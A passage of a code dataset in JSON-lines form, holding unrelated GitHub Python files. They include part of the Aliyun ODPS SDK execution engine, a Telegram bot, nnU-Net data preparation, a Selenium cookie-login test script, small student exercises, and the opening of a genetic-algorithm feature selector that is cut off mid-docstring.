self.need_fallback(e)\n\n def __repr__(self):\n return ExprExecutionGraphFormatter(self)._to_str()\n\n def _repr_html_(self):\n return ExprExecutionGraphFormatter(self)._to_html()\n\n\nclass Engine(object):\n def stop(self):\n pass\n\n @classmethod\n def _convert_table(cls, expr):\n if isinstance(expr, Expr):\n return utils.to_collection(expr)\n\n expr_dag = expr\n root = utils.to_collection(expr_dag.root)\n if root is not expr_dag.root:\n new_expr_dag = ExprDAG(root, dag=expr_dag)\n new_expr_dag.ensure_all_nodes_in_dag()\n return new_expr_dag\n\n return expr_dag\n\n def _cache(self, expr_dag, dag, expr, **kwargs):\n # should return the data\n raise NotImplementedError\n\n def _dispatch(self, expr_dag, expr, ctx):\n if expr._need_cache:\n if not ctx.is_cached(expr):\n def h():\n def inner(*args, **kwargs):\n ret = self._cache(*args, **kwargs)\n if ret:\n data, node = ret\n ctx.cache(expr, data)\n return node\n return inner\n return h()\n else:\n cached = ctx.get_cached(expr)\n if isinstance(expr, CollectionExpr):\n cached = cached.copy()\n expr_dag.substitute(expr, cached)\n elif expr._deps:\n return self._handle_dep\n\n def _new_analyzer(self, expr_dag, on_sub=None):\n raise NotImplementedError\n\n def _new_rewriter(self, expr_dag):\n return\n\n def _analyze(self, expr_dag, dag, **kwargs):\n from .optimize import Optimizer\n\n def sub_has_dep(_, sub):\n if sub._deps is not None:\n kw = dict(kwargs)\n kw['finish'] = False\n kw.pop('head', None)\n kw.pop('tail', None)\n self._handle_dep(ExprDAG(sub, dag=expr_dag), dag, sub, **kw)\n\n # analyze first\n self._new_analyzer(expr_dag, on_sub=sub_has_dep).analyze()\n # optimize\n return Optimizer(expr_dag).optimize()\n\n def _rewrite(self, expr_dag):\n # rewrite if exist\n rewriter = self._new_rewriter(expr_dag)\n if rewriter:\n return rewriter.rewrite()\n return expr_dag.root\n\n def _new_execute_node(self, expr_dag):\n return ExecuteNode(expr_dag)\n\n def _handle_dep(self, expr_dag, dag, expr, **kwargs):\n root = expr_dag.root\n\n execute_nodes = []\n for dep in root._deps:\n if isinstance(dep, tuple):\n if len(dep) == 3:\n node, action, callback = dep\n else:\n node, callback = dep\n action = '_execute'\n else:\n node, action, callback = dep, '_execute', None\n\n if callback:\n def dep_callback(res):\n callback(res, expr)\n else:\n dep_callback = None\n\n execute_node = getattr(self, action)(ExprDAG(node, dag=expr_dag), dag, node,\n analyze=False, **kwargs)\n execute_node.callback = dep_callback\n execute_nodes.append(execute_node)\n\n return execute_nodes\n\n def _handle_expr_args_kwargs(self, expr_args_kwargs):\n if len(expr_args_kwargs) == 1 and not isinstance(expr_args_kwargs[0], Expr) and \\\n all(isinstance(it, Expr) for it in expr_args_kwargs[0]):\n expr_args_kwargs = expr_args_kwargs[0]\n if all(isinstance(it, Expr) for it in expr_args_kwargs):\n expr_args_kwargs = [('_execute', it, (), {}) for it in expr_args_kwargs]\n\n return expr_args_kwargs\n\n def _process(self, *expr_args_kwargs):\n expr_args_kwargs = self._handle_expr_args_kwargs(expr_args_kwargs)\n\n def h(e):\n if isinstance(e, Scalar) and e.name is None:\n return e.rename('__rand_%s' % int(time.time()))\n if isinstance(e, CollectionExpr) and hasattr(e, '_proxy') and \\\n e._proxy is not None:\n return e._proxy\n return e\n\n src_exprs = [h(it[1]) for it in expr_args_kwargs]\n exprs_dags = self._build_expr_dag([self._convert_table(e) for e in src_exprs])\n\n return exprs_dags, expr_args_kwargs\n\n def _compile_dag(self, expr_args_kwargs, exprs_dags):\n ctx = ExecuteContext() # expr -> new_expr\n dag = ExecuteDAG()\n\n for idx, it, expr_dag in zip(itertools.count(0), expr_args_kwargs, exprs_dags):\n action, src_expr, args, kwargs = it\n\n for node in expr_dag.traverse():\n if hasattr(self, '_selecter') and not self._selecter.force_odps and hasattr(node, '_algo'):\n raise NotImplementedError\n h = self._dispatch(expr_dag, node, ctx)\n if h:\n kw = dict(kwargs)\n kw['finish'] = False\n if node is expr_dag.root:\n node_dag = expr_dag\n else:\n node_dag = ExprDAG(node, dag=expr_dag)\n h(node_dag, dag, node, **kw)\n\n args = args + (expr_dag, dag, src_expr)\n n = getattr(self, action)(*args, **kwargs)\n n.result_index = idx\n\n return dag\n\n def compile(self, *expr_args_kwargs):\n exprs_dags, expr_args_kwargs = self._process(*expr_args_kwargs)\n return self._compile_dag(expr_args_kwargs, exprs_dags)\n\n def _action(self, *exprs_args_kwargs, **kwargs):\n ui = kwargs.pop('ui', None)\n progress_proportion = kwargs.pop('progress_proportion', 1.0)\n async_ = kwargs.pop('async_', kwargs.pop('async', False))\n n_parallel = kwargs.pop('n_parallel', 1)\n timeout = kwargs.pop('timeout', None)\n batch = kwargs.pop('batch', False)\n action = kwargs.pop('action', None)\n\n def transform(*exprs_args_kw):\n for expr_args_kwargs in exprs_args_kw:\n if len(expr_args_kwargs) == 3:\n expr, args, kw = expr_args_kwargs\n act = action\n else:\n act, expr, args, kw = expr_args_kwargs\n\n kw = kw.copy()\n kw.update(kwargs)\n yield act, expr, args, kw\n\n dag = self.compile(*transform(*exprs_args_kwargs))\n try:\n res = self._execute_dag(dag, ui=ui, async_=async_, n_parallel=n_parallel,\n timeout=timeout, progress_proportion=progress_proportion)\n except KeyboardInterrupt:\n self.stop()\n sys.exit(1)\n\n if not batch:\n return res[0]\n return res\n\n def _do_execute(self, expr_dag, expr, **kwargs):\n raise NotImplementedError\n\n def _execute(self, expr_dag, dag, expr, **kwargs):\n # analyze first\n analyze = kwargs.pop('analyze', True)\n if analyze:\n kw = dict(kwargs)\n kw.pop('execute_kw', None)\n self._analyze(expr_dag, dag, **kw)\n\n engine = self\n\n execute_node = self._new_execute_node(expr_dag)\n group_key = kwargs.get('group') or self._create_progress_group(expr)\n\n def run(s, **execute_kw):\n kw = dict(kwargs)\n kw.update(kw.pop('execute_kw', dict()))\n kw.update(execute_kw)\n kw['group'] = group_key\n\n if 'ui' in kw:\n kw['ui'].add_keys(group_key)\n result = engine._do_execute(expr_dag, expr, **kw)\n if 'ui' in kw:\n kw['ui'].remove_keys(group_key)\n\n return result\n\n execute_node.run = types.MethodType(run, execute_node)\n self._add_node(execute_node, dag)\n\n return execute_node\n\n @classmethod\n def _reorder(cls, expr, table, cast=False, with_partitions=False):\n from .odpssql.engine import types as odps_engine_types\n from .. import NullScalar\n\n df_schema = odps_engine_types.odps_schema_to_df_schema(table.table_schema)\n expr_schema = expr.schema.to_ignorecase_schema()\n expr_table_schema = odps_engine_types.df_schema_to_odps_schema(expr_schema)\n case_dict = dict((n.lower(), n) for n in expr.schema.names)\n\n for col in expr_table_schema.columns:\n if col.name.lower() not in table.table_schema:\n raise CompileError('Column(%s) does not exist in target table %s, '\n 'writing cannot be performed.' % (col.name, table.name))\n t_col = table.table_schema[col.name.lower()]\n if not cast and not t_col.type.can_implicit_cast(col.type):\n raise CompileError('Cannot implicitly cast column %s from %s to %s.' % (\n col.name, col.type, t_col.type))\n\n if (\n table.table_schema.names == expr_schema.names\n and df_schema.types[:len(table.table_schema.names)] == expr_schema.types\n ):\n return expr\n\n def field(name):\n expr_name = case_dict[name]\n if expr[expr_name].dtype == df_schema[name].type:\n return expr[expr_name]\n elif df_schema[name].type.can_implicit_cast(expr[expr_name].dtype) or cast:\n return expr[expr_name].astype(df_schema[name].type)\n else:\n raise CompileError('Column %s\\'s type does not match, expect %s, got %s' % (\n expr_name, expr[expr_name].dtype, df_schema[name].type))\n names = [c.name for c in table.table_schema.columns] if with_partitions else table.table_schema.names\n return expr[[field(name) if name in expr_schema else NullScalar(df_schema[name].type).rename(name)\n for name in names]]\n\n @classmethod\n def _get_partition(cls, partition, table=None):\n if isinstance(partition, dict):\n p_spec = PartitionSpec()\n for name, val in six.iteritems(partition):\n p_spec[name] = val\n elif isinstance(partition, PartitionSpec):\n p_spec = partition\n else:\n if not isinstance(partition, six.string_types):\n raise TypeError('`partition` should be a str or dict, '\n 'got {0} instead'.format(type(partition)))\n p_spec = PartitionSpec(partition)\n\n if table is not None:\n part_names = [p.name for p in table.table_schema.partitions]\n for name in part_names:\n if name not in p_spec:\n raise ValueError('Table has partition column {0} '\n 'which not specified by `partition`'.format(name))\n for name in p_spec.keys:\n if name not in table.table_schema._partition_schema:\n raise ValueError('Table does not have partition({0}) '\n 'which specified in `partition`'.format(name))\n if p_spec.keys != part_names:\n old_p_spec = p_spec\n p_spec = PartitionSpec()\n for n in part_names:\n p_spec[n] = old_p_spec[n]\n\n return p_spec\n\n def _do_persist(self, expr_dag, expr, name, **kwargs):\n raise NotImplementedError\n\n def _persist(self, name, expr_dag, dag, expr, **kwargs):\n # analyze first\n analyze = kwargs.pop('analyze', True)\n if analyze:\n self._analyze(expr_dag, dag, **kwargs)\n\n engine = self\n\n execute_node = self._new_execute_node(expr_dag)\n group_key = self._create_progress_group(expr)\n\n def run(s, **execute_kw):\n kw = dict(kwargs)\n kw.update(execute_kw)\n kw['group'] = group_key\n\n if 'ui' in kw:\n kw['ui'].add_keys(group_key)\n result = engine._do_persist(expr_dag, expr, name, **kw)\n if 'ui' in kw:\n kw['ui'].remove_keys(group_key)\n\n return result\n\n execute_node.run = types.MethodType(run, execute_node)\n self._add_node(execute_node, dag)\n\n return execute_node\n\n @classmethod\n def _handle_params(cls, *expr_args_kwargs, **kwargs):\n if isinstance(expr_args_kwargs[0], Expr):\n return [(expr_args_kwargs[0], expr_args_kwargs[1:], {})], kwargs\n elif isinstance(expr_args_kwargs[0], Iterable) and \\\n all(isinstance(e, Expr) for e in expr_args_kwargs[0]):\n args = expr_args_kwargs[1:]\n kwargs['batch'] = True\n return [(e, args, {}) for e in expr_args_kwargs[0]], kwargs\n else:\n kwargs['batch'] = True\n return expr_args_kwargs, kwargs\n\n @staticmethod\n def _create_ui(**kwargs):\n existing_ui = kwargs.get('ui')\n if existing_ui:\n return existing_ui\n\n async_ = kwargs.get('async_', kwargs.get('async', False))\n ui = init_progress_ui(lock=async_, use_console=not async_)\n ui.status('Preparing')\n return ui\n\n @staticmethod\n def _create_progress_group(expr):\n node_name = getattr(expr, 'node_name', expr.__class__.__name__)\n return create_instance_group(node_name)\n\n def execute(self, *exprs_args_kwargs, **kwargs):\n exprs_args_kwargs, kwargs = self._handle_params(*exprs_args_kwargs, **kwargs)\n kwargs['ui'] = self._create_ui(**kwargs)\n kwargs['action'] = '_execute'\n return self._action(*exprs_args_kwargs, **kwargs)\n\n def persist(self, *exprs_args_kwargs, **kwargs):\n exprs_args_kwargs, kwargs = self._handle_params(*exprs_args_kwargs, **kwargs)\n kwargs['ui'] = self._create_ui(**kwargs)\n kwargs['action'] = '_persist'\n return self._action(*exprs_args_kwargs, **kwargs)\n\n def batch(self, *action_exprs_args_kwargs, **kwargs):\n args = []\n for action_expr_args_kwargs in action_exprs_args_kwargs:\n action, others = action_expr_args_kwargs[0], action_expr_args_kwargs[1:]\n action = '_%s' % action if not action.startswith('_') else action\n args.append((action, ) + tuple(others))\n kwargs = kwargs.copy()\n kwargs['batch'] = True\n return self._action(*args, **kwargs)\n\n def _get_cached_sub_expr(self, cached_expr, ctx=None):\n ctx = ctx or context\n data = ctx.get_cached(cached_expr)\n return cached_expr.get_cached(data)\n\n def _build_expr_dag(self, exprs, on_copy=None):\n cached_exprs = ExprDictionary()\n\n def find_cached(_, n):\n if context.is_cached(n) and hasattr(n, 'get_cached'):\n cached_exprs[n] = True\n\n if on_copy is not None:\n if not isinstance(on_copy, Iterable):\n on_copy = (on_copy, )\n else:\n on_copy = tuple(on_copy)\n on_copy = on_copy + (find_cached, )\n else:\n on_copy = find_cached\n\n res = tuple(expr.to_dag(copy=True, on_copy=on_copy, validate=False)\n for expr in exprs)\n for cached in cached_exprs:\n sub = self._get_cached_sub_expr(cached)\n if sub is not None:\n for dag in res:\n if dag.contains_node(cached):\n dag.substitute(cached, sub)\n\n return res\n\n def _add_node(self, dag_node, dag):\n nodes = dag.nodes()\n dag.add_node(dag_node)\n for node in nodes:\n node_expr = node.expr\n if dag_node.expr.is_ancestor(node_expr):\n dag.add_edge(node, dag_node)\n elif node_expr.is_ancestor(dag_node.expr):\n dag.add_edge(dag_node, node)\n\n @classmethod\n def _execute_dag(cls, dag, ui=None, async_=False, n_parallel=1, timeout=None, close_and_notify=True,\n progress_proportion=1.0, **kw):\n async_ = kw.pop('async', async_)\n return dag.execute(ui=ui, async_=async_, n_parallel=n_parallel, timeout=timeout,\n close_and_notify=close_and_notify, progress_proportion=progress_proportion)\n\n def _get_libraries(self, libraries):\n def conv(libs):\n if libs is None:\n return None\n if isinstance(libs, (six.binary_type, six.text_type, Resource)):\n return conv([libs, ])\n new_libs = []\n for lib in libs:\n if not isinstance(lib, (Resource, six.string_types)):\n raise ValueError('Resource %s not acceptable: illegal input type %s.'\n % (repr(lib), type(lib).__name__))\n if isinstance(lib, Resource):\n new_libs.append(lib)\n elif '/' not in lib and self._odps.exist_resource(lib):\n new_libs.append(self._odps.get_resource(lib))\n elif os.path.isfile(lib) and lib.endswith('.py'):\n new_libs.append(lib)\n elif os.path.isdir(lib):\n new_libs.append(lib)\n else:\n raise ValueError('Resource %s not found.' % repr(lib))\n return new_libs\n\n libraries = conv(libraries) or []\n if options.df.libraries is not None:\n libraries.extend(conv(options.df.libraries))\n if len(libraries) == 0:\n return\n return list(set(libraries))\n","repo_name":"aliyun/aliyun-odps-python-sdk","sub_path":"odps/df/backends/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":29099,"program_lang":"python","lang":"en","doc_type":"code","stars":399,"dataset":"github-code","pt":"48"} +{"seq_id":"17593192894","text":"from aiogram.types import Message,CallbackQuery\nfrom config import dp\nfrom keybords import test_in_kb,raqam_kb\nfrom random import randint\n\n\n@dp.message_handler(commands=\"start\")\nasync def start(message:Message):\n await message.answer(\"Ushbu xabar osti tugmasi siz uchun\",reply_markup=test_in_kb)\n\n\n@dp.callback_query_handler(text=\"Asadbek\")\nasync def callback(call:CallbackQuery):\n # # await call.answer(\"Sen test bo'limidasan\",show_alert=True)\n # name=call.message.chat.first_name\n # await call.message.answer(f\"{name} Sen test line tugmasi bosdingiz\")\n data=call.data\n await call.answer(data,show_alert=True)\n\n\n@dp.callback_query_handler(text=\"random\")\nasync def rand(call:CallbackQuery):\n tasodif=randint(0,1000)\n await call.message.answer(f\"tasodifiy son {tasodif}\")\n@dp.message_handler(commands=\"kara\")\nasync def kara(message:Message):\n await message.answer(\"Kerakli raqmni bosing\",reply_markup=raqam_kb())\n@dp.callback_query_handler(text_startswith=\"raqam\")\n\nasync def karakara(call:CallbackQuery):\n data=call.data\n son=int(data.split(\"_\")[1])\n info=\"\"\n for i in range(1,11):\n info+=f\"{son}*{i}={son*i}\\n\"\n await call.message.reply(info)\n \n","repo_name":"asadbek924/bot_template","sub_path":"handlers/inlinebutton.py","file_name":"inlinebutton.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40450747046","text":"import re\nimport torch\nimport helper.array_transf as harray\nimport torchio.transforms\nimport sys\nimport numpy as np\nimport os\nimport nibabel\nimport data_generator.Segment7T3T as dg_segment_7t3t\nimport helper.plot_class as hplotc\nimport glob\nimport helper.misc as hmisc\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument('-data', type=str)\np_args = parser.parse_args()\ndatatype = p_args.data\n\nddata_mm1A = '/data/seb/nnunet/nnUNet_raw/nnUNet_raw_data/Task501_MM1_A'\nddata_mm1B = '/data/seb/nnunet/nnUNet_raw/nnUNet_raw_data/Task502_MM1_B'\nddata_acdc = '/data/seb/nnunet/nnUNet_raw/nnUNet_raw_data/Task511_ACDC'\n\nddest = '/data/seb/nnunet/nnUNet_raw/nnUNet_raw_data/Task633_Biasfield_MM1_A_MM1_B_ACDC'\nhmisc.create_datagen_dir(ddest, type_list=('imagesTr', 'labelsTr', 'imagesTs', 'labelsTs'), data_list=[])\n\nif datatype in ['test', 'train']:\n dataset_type = datatype # Change this to train / test\nelse:\n print('Unknown data type. Exit program: ', datatype)\n sys.exit()\n\nif dataset_type == 'train':\n n_creation = 10000\n img_subdir = 'imagesTr'\n label_subdir = 'labelsTr'\nelse:\n n_creation = 1000\n img_subdir = 'imagesTs'\n label_subdir = 'labelsTs'\n\n\ndef store_n_items_with_random_biasfield(ddata, ddest, img_subdir, label_subdir, n_creation, biasf_order=5):\n if 'mm1_a' in ddata.lower():\n prefix = 'mm1a'\n elif 'mm1_b' in ddata.lower():\n prefix = 'mm1b'\n elif 'acdc' in ddata.lower():\n prefix = 'acdc'\n else:\n print('derp')\n sys.exit()\n counter = 0\n img_dir = os.path.join(ddata, img_subdir)\n label_dir = os.path.join(ddata, label_subdir)\n dest_img_dir = os.path.join(ddest, img_subdir)\n dest_label_dir = os.path.join(ddest, label_subdir)\n file_list = os.listdir(img_dir)\n\n n_files = len(file_list)\n while counter < n_creation:\n sel_index = counter % n_files\n counter_suffix = str(int(counter / n_files)).zfill(2)\n counter += 1\n sel_file_img = file_list[sel_index]\n sel_file_label = re.sub('_0000', '', sel_file_img)\n\n # Define input and output file names\n sel_file_img_path = os.path.join(img_dir, sel_file_img)\n sel_file_label_path = os.path.join(label_dir, sel_file_label)\n dest_sel_file_img_path = os.path.join(dest_img_dir, f\"{prefix}_{counter_suffix}_\" + sel_file_img)\n dest_sel_file_label_path = os.path.join(dest_label_dir, f\"{prefix}_{counter_suffix}_\" + sel_file_label)\n\n rho_array = hmisc.load_array(sel_file_img_path).T[:, ::-1, ::-1]\n label_array = hmisc.load_array(sel_file_label_path).T[:, ::-1, ::-1]\n n_loc = rho_array.shape[0]\n rho_array = rho_array[n_loc // 2][None]\n label_array = label_array[n_loc // 2][None]\n gen_biasf_obj = torchio.transforms.RandomBiasField(coefficients=0.8, order=biasf_order)\n gen_biasf = gen_biasf_obj(torch.from_numpy(rho_array[:, :, :, None].copy()))[0, :, :, 0].numpy()\n input_array = (rho_array * gen_biasf)[None]\n input_nibabel_obj = nibabel.Nifti1Image(input_array.T[::-1, ::-1], np.eye(4))\n target_nibabel_obj = nibabel.Nifti1Image(label_array.T[::-1, ::-1], np.eye(4))\n\n nibabel.save(input_nibabel_obj, dest_sel_file_img_path)\n nibabel.save(target_nibabel_obj, dest_sel_file_label_path)\n\n\n\nstore_n_items_with_random_biasfield(ddata_mm1A, ddest, img_subdir, label_subdir, n_creation)\nstore_n_items_with_random_biasfield(ddata_mm1B, ddest, img_subdir, label_subdir, n_creation)\nstore_n_items_with_random_biasfield(ddata_acdc, ddest, img_subdir, label_subdir, n_creation)\n\n","repo_name":"zwep/segment7t3t","sub_path":"src/data_prep/nnunet/data_creation_torchio_biasfield_large.py","file_name":"data_creation_torchio_biasfield_large.py","file_ext":"py","file_size_in_byte":3594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74171719184","text":"#coding=utf-8\n#author:Kingving time:2020/6/6 0:20\nfrom selenium import webdriver\n\ncookieSli=[{'domain': '.baidu.com',\n 'httpOnly': False,\n 'name': 'H_PS_PSSID',\n 'path': '/',\n 'secure': False,\n 'value': '31730_1436_31670_21094_31069_31714_30824_31846_26350_22157'},\n{'domain': '.baidu.com',\n # 'expiry': 1622910610,\n 'httpOnly': False,\n 'name': 'BAIDUID',\n 'path': '/',\n 'secure': False,\n 'value': 'C3B4800B2FAA972F10D2B026DFD6B926:FG=1'},\n{'domain': '.baidu.com',\n # 'expiry': 3738858257,\n 'httpOnly': False,\n 'name': 'BIDUPSID',\n 'path': '/',\n 'secure': False,\n 'value': 'C3B4800B2FAA972F446D53948A55712F'},\n{'domain': '.baidu.com',\n # 'expiry': 3738858257,\n 'httpOnly': False,\n 'name': 'PSTM',\n 'path': '/',\n 'secure': False,\n 'value': '1591374610'},\n{'domain': 'www.baidu.com',\n # 'expiry': 1592238610,\n 'httpOnly': False,\n 'name': 'BD_UPN',\n 'path': '/',\n 'secure': False,\n 'value': '12314753'},\n{'domain': 'www.baidu.com',\n 'httpOnly': False,\n 'name': 'BD_HOME',\n 'path': '/',\n 'secure': False, 'value': '1'}]\n\n\n#1、创建一个浏览器驱动对象\ndriver=webdriver.Chrome('D:\\selenium\\chromedriver.exe')\n\n#2、访问网址\ndriver.get('https://www.baidu.com')\n\n#3、清除所有cookie\ndriver.delete_all_cookies()\n\nfor cook in cookieSli:\n #添加cookie\n driver.add_cookie(cook)\n\ndriver.refresh()","repo_name":"kakashi-01/python-0504","sub_path":"shanghaiyouyou/WebUiStudy/day5/4使用cookie绕过登录.py","file_name":"4使用cookie绕过登录.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1387508474","text":"import sys\ninput = sys.stdin.readline\nn, m = map(int, input().split())\nnames = ['']\ndictionary = dict()\nfor i in range(1, n + 1):\n name = input().rstrip()\n dictionary[str(i)] = name\n dictionary[name] = i\nfor i in range(m):\n query = input().rstrip()\n print(dictionary[query])\n","repo_name":"Dltmd202/BOJ-ProblemSlove","sub_path":"python/1620/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15425087936","text":"# 숫자 조작\n\nt = int(input())\n\nfor tc in range(1, t+1):\n input_data = input()\n num = list(input_data)\n min_value = int(input_data)\n max_value = int(input_data)\n\n for i in range(len(num)):\n for j in range(i+1, len(num)):\n num[j], num[i] = num[i], num[j]\n new_num = ''\n for n in num:\n new_num += n\n if new_num[0] != '0':\n new_num = int(new_num)\n if new_num < min_value:\n min_value = new_num\n if new_num > max_value:\n max_value = new_num\n num[j], num[i] = num[i], num[j]\n\n print(f'#{tc}', min_value, max_value)\n","repo_name":"JhinJeon/SWEA","sub_path":"D3/13428/s2.py","file_name":"s2.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5438863744","text":"import turtle\r\nimport matplotlib.pyplot as plt\r\ndef draw_bar(t, height):\r\n \"\"\" função para desenhar um histograma com o modulo turtle . \"\"\"\r\n t.begin_fill() \r\n t.left(90)\r\n t.forward(height)\r\n t.write(\" \"+ str(height))#cria um rotulo indica a frequencia o dado \r\n t.right(90)\r\n t.forward(40)\r\n t.right(90)\r\n t.forward(height)\r\n t.left(90)\r\n t.end_fill() # Added this line\r\n t.forward(10)\r\n\r\nwn = turtle.Screen() # atribui uma corde fundo\r\nwn.bgcolor(\"pink\")\r\n\r\ntess = turtle.Turtle() # inicia a tartatura \r\ntess.color(\"blue\", \"red\")\r\ntess.pensize(3)\r\ntess.penup()\r\ntess.setpos(-300,-200)\r\ntess.pendown()\r\nxs = [48,117,200,240,160,260,220]\r\nxx = [1,2,3,4,5,6,7]\r\n\r\nfor a in xs:\r\n draw_bar(tess, a)\r\n\r\nnum_bins = 7\r\nplt.xlabel('Dados')\r\nplt.ylabel('Número de ocorrencias')\r\nplt.bar(xx,xs, color=\"red\")\r\nplt.show()\r\n","repo_name":"LenonAbreu/pythonUerj","sub_path":"exercicios/aula6_condicionais.py","file_name":"aula6_condicionais.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4102638520","text":"def deepupdate(original, update):\n \"\"\"\n Recursively update a dict.\n \"\"\"\n for key, value in original.iteritems():\n if key not in update:\n update[key] = value\n elif isinstance(value, dict):\n deepupdate(value, update[key])\n return update\n","repo_name":"paralin/openshift-under-kubernetes","sub_path":"openshift_under_kubernetes/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"48"} +{"seq_id":"21020500375","text":"\r\n#prints homework file as of opening the app\r\nfile=open(\"homework.txt\", \"r\")\r\ncurrent_homework=file.readlines()\r\nprint(current_homework)\r\nfile.close()\r\n#makes list (NEED DO NOT REMOVE)\r\nassignments=current_homework\r\n\r\n\r\n# sets assignments to content of file\r\nfile1=open(\"homework.txt\", \"r\")\r\nassignments=file1.readlines()\r\nfile1.close()\r\n#choose to add or remove assignment\r\nadded = 0\r\nwhile added == 0:\r\n add_remove=input(\"add or remove assignment?: \")\r\n added = 1\r\n break\r\n#adds assignment\r\nwhile add_remove == \"add\":\r\n assignment=input(\"enter assignment and due date. ex: 4 types of government, 12/6/22.: \")\r\n assignments.append(assignment)\r\n assignment = \"\"\r\n file2=open(\"homework.txt\", \"w\")\r\n file2.writelines(assignments)\r\n file2.close()\r\n add_again=input(\"add another assignment?: yes/no\")\r\n if add_again == \"yes\":\r\n a=open(\"homework.txt\", \"w\")\r\n a.writelines(assignments)\r\n a.close()\r\n added = 0\r\n break\r\n else:\r\n added = 0\r\n break\r\n#removes assignment\r\nelse:\r\n print(current_homework)\r\n remove=input(\"To remove please type assignment and due date exactly how seen above. ex: '4 types of government, 12/6/22.': \")\r\n assignments.remove(remove)\r\n print(assignments)\r\n file3=open(\"homework.txt\", \"w\")\r\n file3.writelines(assignments)\r\n file3.close()\r\n added = 0","repo_name":"SamuelPythonM/Homework-Manager","sub_path":"HomeWork Manager.py","file_name":"HomeWork Manager.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"808787401","text":"valorHamburguer = float(input())\nquantidadeHamburguer = int(input())\nvalorBebida = float(input())\nquantidadeBebida = int(input())\nvalorPago = float(input())\n\n#Calculo do preço final\nvalor_total_hamburguer= (valorHamburguer * quantidadeHamburguer)\nvalor_total_bebida = (valorBebida * quantidadeBebida)\n\npreco_total = valor_total_hamburguer + valor_total_bebida\n\n#Troco\n\ntroco = valorPago - preco_total\n\n#final\n\nprint(f'O preço final do pedido é R$ {preco_total:.2f}. Seu troco é R$ {troco:.2f}.')","repo_name":"malummartiins/projetos_bootcamp_python","sub_path":"preco_final_pedido.py","file_name":"preco_final_pedido.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"36479543017","text":"# This program figures out your fuel consumption, tank size, petrol price and will end with telling the consumer how much they will need to pay.\n#I'm also using this as a chance to learn more about python and get used to writing to make it easy to see what's going on in my code.\n\n\n#------------------------------------------ VARIABLES ------------------------------------------\n\ncarModel = int(0)\n\n#------------------------------------------ /VARIABLES ------------------------------------------\n\n#------------------------------------------ TANK SIZE ------------------------------------------\n\ntankSize = input(\"How many litres can your tank hold? (Type 'help' if you don't know.) \")\n\nif (tankSize == 'help') :\n print(\"Here are your options for cars:\")\n print(\"If 'Prosche 911 Carerra 4S' type 1\")\n print(\"If 'Skoda Fabia' type 2\")\n print(\"If 'Rolls Royce Wraith' type 3\")\n print(\"If 'Bugatti Chiron' type 4\")\n carModel = int(input(\"What number is your car? \"))\n\nif (carModel == 1) :\n tankSize = 67\n print(\"You picked Porsche 911 Carrera 4S with tank size of 67 litres.\")\n\nif (carModel == 2) :\n tankSize = 45\n print(\"You picked Skoda Fabia with a tank size of 45 litres.\")\n\nif (carModel == 3) :\n tankSize = 83\n print(\"You picked Rolls Royce Wraith with a tank size of 83 litres.\") \n\nif (carModel == 4) :\n tankSize = 100\n print(\"You picked Bugatti Chiron with a tank size of 100 litres.\")\n\n#------------------------------------------ /TANK SIZE ------------------------------------------\n\n#------------------------------------------ FUEL CONSUMPTION ------------------------------------------\n\nfuelConsume = input(\"What is your fuel consumption like in litres per kilometer? (Type 'help' if you don't know.) \")\n\nif (fuelConsume == 'help') : \n print(\"Here are your options for cars:\")\n print(\"If 'Prosche 911 Carerra 4S' type 1\")\n print(\"If 'Skoda Fabia' type 2\")\n print(\"If 'Rolls Royce Wraith' type 3\")\n print(\"If 'Bugatti Chiron' type 4\")\n carModel = int(input(\"What number is your car? \"))\n\nif (carModel == 1) :\n fuelConsume = 0.11\n\nif (carModel == 2) :\n fuelConsume = 0.059\n\nif (carModel == 3) :\n fuelConsume = 0.16\n\nif (carModel == 4) :\n fuelConsume = 0.225\n\n#------------------------------------------ / FUEL CONSUMPTION ------------------------------------------\n\n#------------------------------------------ PETROL PRICE ------------------------------------------\n\npetrolPrice = float(input(\"What is the price per litre at your petrol station like in NOK? \"))\n#------------------------------------------ /PETROL PRICE ------------------------------------------\n\n#------------------------------------------ RESULTS ------------------------------------------\n\nprint(fuelConsume)\nprint(tankSize)\n#------------------------------------------ /RESULTS ------------------------------------------","repo_name":"MichaelCodeAndre/MichaelCode.github.io","sub_path":"Skoleoppgaver/Drivstoff-forbruk.py","file_name":"Drivstoff-forbruk.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5195483237","text":"import random\nfrom shutil import ExecError\nfrom typing import Callable, Union\nfrom functools import partial\n\nimport pandas as pd\nimport numpy as np\nfrom deap import base, creator, tools, algorithms\nfrom sklearn.model_selection import train_test_split\n\n\n# Create fitness function, Individual template\ncreator.create(\"FitnessMax\", base.Fitness, weights=(1.0,))\ncreator.create(\"Individual\", list, fitness=creator.FitnessMax)\ntoolbox = base.Toolbox()\n# Initialization crossover, mutatuion, selection\ntoolbox.register(\"mate\", tools.cxTwoPoint)\ntoolbox.register(\"mutate\", tools.mutFlipBit, indpb=0.05)\ntoolbox.register(\"select\", tools.selTournament, tournsize=3)\n\nclass GenA:\n \"\"\"Feature selector with genetic algorithm.\n \n Given an external estimator that assigns score of `chromosomes`. \n Every `chromosome` contains boolean mask of features to take.\n Then, with the help of crosses and mutations, new populations are generated.\n At the end, one chromosome is obtained, which contains a Boolean 